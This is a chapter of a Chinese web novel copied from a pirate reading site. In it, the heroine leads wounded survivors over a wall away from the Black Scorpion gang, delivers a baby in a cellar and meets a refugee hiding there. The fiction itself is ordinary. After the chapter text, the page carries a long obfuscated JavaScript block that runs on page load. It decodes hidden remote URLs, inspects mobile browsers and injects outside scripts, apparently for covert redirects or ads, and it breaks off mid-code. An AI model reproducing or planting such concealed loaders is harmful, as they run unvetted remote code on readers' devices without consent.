首页
第9章 黑蝎围
返回
关灯 护眼:关 字号:小

第9章 黑蝎围

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    第9章黑蝎围(第1/2页)
    黑暗像墨汁一样从巷子深处涌来。
    林见鹿带着五个幸存者在迷宫般的小巷里穿行,每一道岔路口都是一次生死赌注。她肋下的伤口已经痛到麻木,每一次呼吸都扯着伤处的皮肉,像钝刀子来回割。脸上溃烂的地方被汗水一浸,又火辣辣地灼烧起来,脓液混合着血水顺着脖子往下淌,湿漉漉的衣领黏在皮肤上,又冷又腻。
    但她不能停。身后废墟方向的声响越来越近,毒蛇老七的怒骂声隐约可闻,还夹杂着瓦砾被搬动的哗啦声。他们必须趁黑蝎帮清理废墟的空隙,逃出这条被诅咒的巷子。
    “这边。”林见鹿在又一个岔路口停下,指着左侧更窄的一条小道。那条小道隐在两堵高墙之间,宽度仅容一人侧身通过,尽头隐没在更深的黑暗里。
    “这条是死路。”断腿的李铁柱喘着粗气靠在墙上,左腿断口处的布条全被血浸透了,每走一步就在泥地上留下一个湿漉漉的血脚印,“我以前……我以前抄近道送柴火走过。前面是堵死的墙,墙后是染坊的废院子,翻不过去。”
    林见鹿皱眉。右侧的巷子稍宽,能看见远处巷口有隐约的灯笼光晃过——是黑蝎帮的巡逻队。前后都被堵死,只剩下……
    她抬头看向两侧的墙。墙很高,至少两人高,墙面斑驳,有些地方砖缝松动,或许能攀爬。
    “上墙。”她果断道。
    “上不去……”陈大牛仰头看着高墙,瘦小的脸上满是惊恐,“太高了……”
    “叠人墙。”林见鹿看向李铁柱,“李大哥,你和大牛、秀娘、丫丫、小栓子留在这里。我上去看看墙那边什么情况,如果安全,放绳子拉你们上去。”
    “姑娘,你伤成这样……”秀娘担心地看着她。
    “死不了。”林见鹿从怀里掏出最后一小瓶金疮药,倒出些药粉拍在肋下的伤口上。药粉刺激得她浑身一颤,但疼痛奇迹般缓解了些。她咬咬牙,将药瓶扔给秀娘,“你肚子里的孩子不能等,万一有动静,自己处理一下。”
    秀娘接过药瓶,眼眶发红,用力点头。
    林见鹿又看向陈大牛:“大牛,你年纪最大,照顾好弟弟妹妹。如果……如果我一个时辰没回来,或者外面有动静,你们就自己想办法。能跑一个是一个。”
    陈大牛咬着嘴唇,稚气的脸上浮起不属于这个年纪的坚毅:“林姐姐,我等你回来。”
    林见鹿摸了摸他的头,没再说话。她退后几步,助跑,蹬墙,手指抠住砖缝,脚下一用力,身体向上蹿起。左肋的伤口传来撕裂般的剧痛,她闷哼一声,但动作没停,另一只手抓住更高处的砖缝,脚踩在墙壁的凸起处,一点一点向上攀爬。
    墙面的砖缝里长着湿滑的苔藓,好几次差点脱手。指尖被粗糙的砖石磨破,血渗出来,黏糊糊的。但她不能松手,下面五条人命,加上秀娘肚子里那个,六条命,都系在她身上。
    爬到墙头,她喘了口气,趴在墙顶往下看。墙那边果然是片废弃的院子,月光下能看见倒塌的染缸、朽烂的木架、散落的布匹。院子不大,三面都是墙,只有西侧有道破旧的木门,门虚掩着,门外是另一条巷子。
    院子里空荡荡的,没有人影,也没有灯火。安静得可怕。
    林见鹿从腰间解下早就准备好的布绳——那是从破衣服上撕下来的布条编成的,虽然简陋,但足够结实。她将绳子一端系在墙头一块突出的砖石上,另一端扔下去。
    “一个一个上,轻点。”她压低声音朝下面喊。
    最先上来的是陈大牛。少年虽然瘦,但手脚麻利,借着绳子的帮助很快爬了上来。接着是丫丫和小栓子,两个孩子在陈大牛的接应下也顺利上墙。轮到秀娘时,她挺着大肚子,动作笨拙,试了两次都没能抓住绳子。
    “林姐姐,我上不去……”秀娘急得快要哭出来。
    “别急。”林见鹿示意陈大牛拉住绳子,自己趴在墙头,将绳子又放下去一截,“把绳子系在腰上,我们拉你上来。”
    秀娘照做。林见鹿和陈大牛一起用力,一点一点将她往上拉。孕妇的身体格外沉重,秀娘又不敢用力蹬墙,怕伤到孩子,只能全靠手臂的力量。拉到一半,她忽然闷哼一声,脸色煞白。
    “怎么了?”林见鹿急问。
    “肚子……肚子疼……”秀娘咬着牙,额头渗出大颗的汗珠。
    林见鹿心头一紧。这是要早产的征兆。但这时候,绝不能停。
    “忍一忍,马上就好。”她咬牙,用尽全身力气向上拉。陈大牛也涨红了脸,瘦小的手臂爆出青筋。
    终于,秀娘被拉上墙头。她瘫在墙顶上,捂着肚子,疼得浑身发抖。林见鹿解开她腰间的绳子,又扔下去拉李铁柱。
    断腿的男人更麻烦。他只能用一条腿借力,另一条断腿在空中晃荡,每动一下都疼得龇牙咧嘴。但李铁柱一声不吭,咬着牙,抓着绳子,一点一点往上挪。
    拉到一半时,远处忽然传来一声尖锐的呼哨。
    是黑蝎帮的联络暗号。
    紧接着,脚步声从四面八方涌来,快速逼近他们藏身的小巷。火把的光在巷口晃动,人声嘈杂。
    “在那边!有血迹!”
    “追!”
    林见鹿脸色一变。来不及了。
    “李大哥,抓紧!”她低吼一声,和陈大牛一起用力猛拉。李铁柱的身体被硬生生拽上墙头,断腿在墙面上刮过,留下一道刺目的血痕。
    几乎在同一时间,十几支火把冲进了他们刚才藏身的小巷。火光下,毒蛇老七那张阴鸷的脸清晰可见。他站在巷子中央,看着地上新鲜的血迹,又抬头看向高墙,嘴角勾起一抹狞笑。
    “在墙上!放箭!”
    嗖嗖嗖——羽箭破空而来,钉在墙头上,火星四溅。一支箭擦着林见鹿的脸颊飞过,带起一串血珠。
    “下墙!”林见鹿一把将李铁柱推下墙头,男人重重摔在院子里,闷哼一声。接着是秀娘、丫丫、小栓子,陈大牛,最后是她自己,翻身跳下。
    落地时左肋的伤口再次崩裂,她疼得眼前一黑,踉跄两步才站稳。院子里尘土飞扬,几个幸存者摔得七荤八素,秀娘捂着肚子,疼得嘴唇发白。
    墙那边,黑蝎帮的人已经开始撞墙。沉重的撞击声一下下砸在墙上,墙面震动,簌簌落土。
    “门!”林见鹿扶起秀娘,指向院子西侧的木门。
    陈大牛率先冲过去,推开木门。门外是另一条巷子,更窄,更暗,地上积着发臭的污水。但这会儿也顾不得许多了,逃命要紧。
    林见鹿搀着秀娘,陈大牛扶着李铁柱,丫丫拉着小栓子,六个人跌跌撞撞冲出院子,钻进巷子。身后,高墙终于被撞开一个缺口,火把的光从缺口涌进院子,毒蛇老七的怒骂声清晰传来:
    “追!一个都别放跑!”
    脚步声如影随形。
    林见鹿带着幸存者在巷子里左拐右拐,专挑最黑、最窄的路走。但黑蝎帮对这片地界太熟了,无论他们怎么绕,追兵始终吊在身后,不近不远,像戏耍猎物的狼群。
    “他们……他们在逼我们去什么地方……”李铁柱喘着粗气,断腿已经痛到麻木,全凭意志在撑。
    林见鹿也察觉到了。黑蝎帮明明有机会包抄,却始终只从后面追,不紧不慢,像是在驱赶他们往某个方向去。
    她抬头看天。天快亮了,东方已经泛起鱼肚白。一旦天亮,他们这行人就彻底无所遁形。而且秀娘的状态越来越差,脸色惨白,捂着肚子的手在发抖,裙摆下已经渗出暗红的血迹。
    必须找个地方藏身,立刻。
    前方巷子尽头出现一片废墟。是座被火烧过的宅子,焦黑的梁柱斜插在废墟里,残垣断壁上爬满枯藤。废墟深处,隐约能看见个地窖入口,入口被半塌的房梁压着,只露出一道缝隙。
    “去那儿!”林见鹿当机立断。
    他们冲进废墟,搬开压在地窖入口的碎木,钻了进去。地窖很深,里面漆黑一片,弥漫着焦糊和霉烂的气味。林见鹿从怀里摸出火折子,吹亮,微弱的光晕照亮了地窖的全貌。
    空间不大,四壁是夯实的土墙,角落里堆着些破瓦罐、烂竹筐。最里面有个土炕,炕上铺着发霉的草席。地窖里没有别的出口,只有他们进来时的那道木梯。
    “大牛,把梯子抽上来。”林见鹿吩咐。
    陈大牛照做。木梯被抽上地窖,入口被彻底封死,只剩下缝隙透进些微的天光。
    地窖里暂时安全了。
    林见鹿扶着秀娘在土炕上躺下。孕妇已经疼得说不出话,双手死死抓着肚子,额头上全是冷汗,嘴唇咬出了血。她裙摆下的血迹越来越大,在草席上洇开一团暗红。
    “要生了。”林见鹿沉声道。
    “现在?”陈大牛惊愕。
    “等不了了。”林见鹿解开秀娘的衣衫,检查胎位。胎位不正,是横位,而且羊水已经破了,再不生出来,大人孩子都有危险。
    可这里什么都没有。没有热水,没有干净的布,没有剪刀,没有药。她身上只有几根银针,半瓶金疮药,和一颗想救人的心。
    “大牛,去找找有没有能用的东西。瓦罐、布条,什么都行。”林见鹿头也不回地吩咐,双手已经开始在秀娘肚子上推按,试图调整胎位。
    陈大牛在地窖里翻找,还真在角落里找到个破瓦罐,虽然裂了条缝,但勉强能用。他又从自己衣服上撕下几块干净的布,递给林见鹿。
    丫丫和小栓子缩在角落,看着秀娘痛苦的样子,吓得不敢出声。李铁柱靠墙坐着,断腿的血已经止住了,但失血过多让他脸色惨白,只能眼睁睁看着。
    “秀娘,听我说。”林见鹿一边推按,一边在秀娘耳边低语,“孩子是横位,我得用手把它转过来。会很疼,但你必须忍着,不能喊出声。外面有追兵,一出声我们都得死。明白吗?”
    (本章未完,请点击下一页继续阅读)第9章黑蝎围(第2/2页)
    秀娘咬着布条,用力点头,眼里全是泪。
    林见鹿深吸一口气,双手按在秀娘肚子上,感受着胎儿的轮廓。横位,胎儿的肩膀卡在产道口,必须把它转成头位,才能生出来。她闭上眼,脑中回忆《天乙针诀》里关于难产的章节,手上开始动作。
    推,转,按,揉。
    秀娘疼得浑身痉挛,指甲抠进土炕,抓出一道道深痕。但她死死咬着布条,一声不吭,只有喉间压抑的呜咽在地窖里回荡。
    时间一点点流逝。地窖外传来隐约的脚步声,是黑蝎帮的人在附近搜查。有几次脚步声就停在地窖入口上方,瓦砾被踢动的声音清晰可闻。所有人都屏住呼吸,连秀娘都死死忍住疼痛,不敢发出一丝声响。
    脚步声最终远去。
    林见鹿额头渗出大颗的汗珠。胎位终于转过来了,但秀娘的力气也快耗尽了。产道开了五指,但孩子还没露头。
    “秀娘,用力!”林见鹿低喝。
    秀娘憋着一口气,用尽全身力气向下推。一次,两次,三次……终于,婴儿的头露了出来。林见鹿小心地托住,轻轻往外拉。
    是个男孩。很小,很瘦,皮肤皱巴巴的,浑身是血。他没哭,闭着眼,一动不动。
    林见鹿倒提着婴儿,在他脚心拍了一下。没反应。又拍了一下。还是没反应。
    秀娘虚弱地伸手:“孩子……我的孩子……”
    林见鹿将婴儿放在草席上,俯身贴在他胸口听了听。心跳很微弱,几乎感觉不到。她又检查婴儿的口鼻,里面堵着黏液。
    没有时间犹豫。她俯下身,口对口给婴儿吸出堵塞的黏液,然后开始按压他小小的胸膛,做心肺复苏。
    一下,两下,三下……
    地窖里静得可怕,只有林见鹿按压的轻微声响,和秀娘压抑的啜泣。所有人都看着那个小小的婴儿,看着他青紫的脸,看着他瘦弱的胸膛一起一伏。
    不知按了多久,婴儿忽然咳嗽一声,嘴里吐出些黏液,然后“哇”地哭了出来。
    哭声很微弱,像小猫叫,但在死寂的地窖里,却像一道惊雷。
    “活了!孩子活了!”陈大牛喜极而泣。
    丫丫和小栓子也跟着哭起来。李铁柱靠在墙上,长长松了口气。秀娘颤抖着伸出手,林见鹿将婴儿裹在干净的布条里,放到她怀里。
    “是个男孩。”林见鹿轻声道。
    秀娘抱着孩子,泪如雨下。她低头亲了亲婴儿皱巴巴的小脸,又抬头看向林见鹿,眼里满是感激:“姑娘……谢谢你……谢谢你……”
    “别说话,好好休息。”林见鹿撕下布条,给婴儿简单擦了擦身子,又用剩下的布条给秀娘处理了伤口。没有剪刀,她用银针在火上烤了烤,烧断脐带,打了个结。
    做完这一切,她已精疲力尽,瘫坐在地上,靠着土墙喘息。肋下的伤口又开始渗血,脸上的溃烂处也火辣辣地疼。但看着秀娘抱着孩子安睡的样子,她心里却有种奇异的平静。
    一条新生命,在这绝境里诞生了。这也许是个好兆头。
    “林姐姐,给孩子起个名字吧。”陈大牛小声道。
    林见鹿看着熟睡的婴儿,想了想,道:“就叫……‘新生’吧。在这条死过无数人的巷子里,他是新生的希望。”
    “新生……”秀娘喃喃念着,抱紧了孩子。
    就在这时,地窖入口忽然传来轻微的响动。
    是瓦砾被搬开的声音。
    所有人瞬间绷紧了神经。林见鹿抓起银针,陈大牛摸起一根木棍,李铁柱也挣扎着抓起地上的破瓦罐。
    木梯被重新放了下来。一个人影顺着梯子缓缓爬下。
    是个陌生男人,三十来岁,衣衫褴褛,脸上脏得看不清五官,只有一双眼睛在黑暗中亮得惊人。他左手提着个破竹篮,右手拄着根木棍,下到地窖,看见里面的人,愣了一下。
    “你们……”他开口,声音嘶哑得像破锣。
    “你是谁?”林见鹿警惕地盯着他,银针扣在指间。
    “我住这儿。”男人放下竹篮,指了指地窖角落那个土炕,“这是我的地方。你们是谁?怎么进来的?”
    “逃难的。”林见鹿没放松警惕,“外面有人在追我们,我们暂时躲一下。如果你不欢迎,我们立刻就走。”
    “逃难?”男人打量着他们,目光在秀娘怀里的婴儿身上停留片刻,又看了看李铁柱的断腿,林见鹿脸上的溃烂,最后摇摇头,“算了,这年头谁都不容易。你们待着吧,我上去把入口藏好。”
    他说着,又顺着梯子爬上去,从外面搬了些瓦砾杂物盖住入口,又撒了些土,做得十分熟练,显然不是第一次了。
    做完这些,他重新下来,从竹篮里掏出几个黑乎乎的窝头,分给众人:“吃吧。虽然硬,但能填肚子。”
    窝头又冷又硬,但饥肠辘辘的众人也顾不上了,接过就啃。林见鹿没吃,只是看着那男人:“你住在这废墟里?”
    “嗯,住了三个月了。”男人在墙角坐下,掏出个破水囊喝了一口,“瘟疫巷刚封的时候,我就躲进来了。外面的人不敢进来,里面的人都死光了,这里反倒安全。”
    “你不怕染上瘟疫?”
    “怕,怎么不怕。”男人苦笑,“但我更怕外面那些活人。瘟疫要人命,外面那些人,是让你生不如死。”
    林见鹿心头一动:“外面哪些人?”
    “穿黑衣服的,脸上蒙着布,晚上出来活动,往井里倒东西,往屋子里撒粉末。”男人说着,眼里闪过一丝恐惧,“我亲眼见过,他们把活人绑起来,灌药,然后看着那些人发疯、咳血、死掉。死了就拖到祠堂后面烧,骨灰收走,不知做什么用。”
    是黑蝎帮,或者说,是晋王的人。
    “你为什么要躲在这儿?”林见鹿问。
    “我妹妹……”男人声音低下去,带着哽咽,“三个月前被他们抓走了。我想救她,但打不过,还被打断了腿。后来我装死,趁乱爬进这地窖,一直躲到现在。我想……我想我妹妹可能已经……”
    他没说下去,但林见鹿懂了。又是一个失去亲人的可怜人。
    “你妹妹叫什么?长什么样?”她忽然想起阿青的描述。
    男人抬起头,眼里燃起一丝希望:“她叫小莲,十五岁,左眼角有颗痣,说话有点结巴。你……你见过她?”
    林见鹿心脏猛跳。左眼角有颗痣,说话结巴,十五岁。是阿青的妹妹。
    “我见过一个人,在找你·妹妹。”她缓缓道,“他说他妹妹三个月前在码头走失了,左眼角有颗痣,说话结巴,叫小莲。是个扛活的,叫阿青。”
    男人愣住了,随即浑身颤抖起来,眼泪夺眶而出:“阿青……是我弟弟……他还活着……他还活着……”
    他哭得不能自已,好半天才平复下来,抓着林见鹿的手,急切地问:“他在哪儿?他还好吗?”
    “他在码头,昨天还救了我们。”林见鹿道,“但他现在很危险,黑蝎帮在追捕我们,恐怕也会盯上他。”
    男人的脸色变了:“黑蝎帮……是丁老七那帮人?”
    “毒蛇老七,你认识?”
    “认识,化成灰我都认识。”男人咬牙切齿,“就是他带人抓走我妹妹的。那个畜生,不得好死!”
    地窖里一时沉寂。只有婴儿微弱的哭声,和男人压抑的啜泣。
    良久,林见鹿才开口:“你叫什么名字?”
    “阿木。”男人抹了把脸,“我姓周,周木。我弟弟叫周青,小莲是我们小妹。”
    “阿木,”林见鹿看着他,“你想报仇吗?”
    周木抬起头,眼里的恨意像淬了毒的刀子:“想,做梦都想。但我一个人,打不过他们。”
    “如果加上我们呢?”林见鹿指向地窖里的所有人,“这里每个人,都跟黑蝎帮、跟他们背后的人有血海深仇。我们单独一个,是蝼蚁。但如果我们抱成团,未必不能撕下他们一块肉。”
    周木看着他们——断腿的李铁柱,刚生产的秀娘,三个瘦弱的孩子,还有这个脸上溃烂、眼神却亮得惊人的姑娘。这些人,每一个都伤痕累累,每一个都在绝境里挣扎。但他们眼里,都有一种东西在燃烧。
    是恨,也是不肯认命的倔强。
    “好。”周木重重捶了一下地面,发出沉闷的响声,“我跟你们干。但我们要有计划,不能白白送死。”
    “当然。”林见鹿点头,“但现在,我们得先活下去。阿木,你对这附近熟,知道怎么避开黑蝎帮的眼线,离开瘟疫巷吗?”
    “知道。”周木道,“这地窖有条暗道,通到隔壁的染坊废院。染坊后面有条水道,是以前排污水用的,现在已经干了,能一直通到城外。但水道很长,要走很久,而且里面可能有……”
    他顿了顿,压低声音:“可能有死人。瘟疫刚爆发时,有些人想从水道逃出去,但没逃掉,就死在里面了。”
    “总比在这里等死强。”林见鹿果断道,“收拾一下,立刻出发。”
    众人开始准备。秀娘抱着孩子,丫丫和小栓子扶着李铁柱,陈大牛和周木搬开地窖角落的一个破木柜,露出后面一个仅容一人爬行的洞口。洞里漆黑,散发着浓重的霉味和……尸臭。
    “我打头,林姑娘你押后。”周木道,“里面很窄,只能爬。如果有意外,就退回这里。”
    林见鹿点头。她最后一个钻进洞口,在进去前,回头看了一眼这个临时避难所。草席上还留着秀娘生产的血迹,空气里弥漫着血腥、汗臭、新生儿的奶香,混合成一种奇特的气味。
    生的,死的,希望,绝望,都挤在这方寸之地。
    她深吸一口气,爬进暗道。
    黑暗瞬间吞没了她。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD 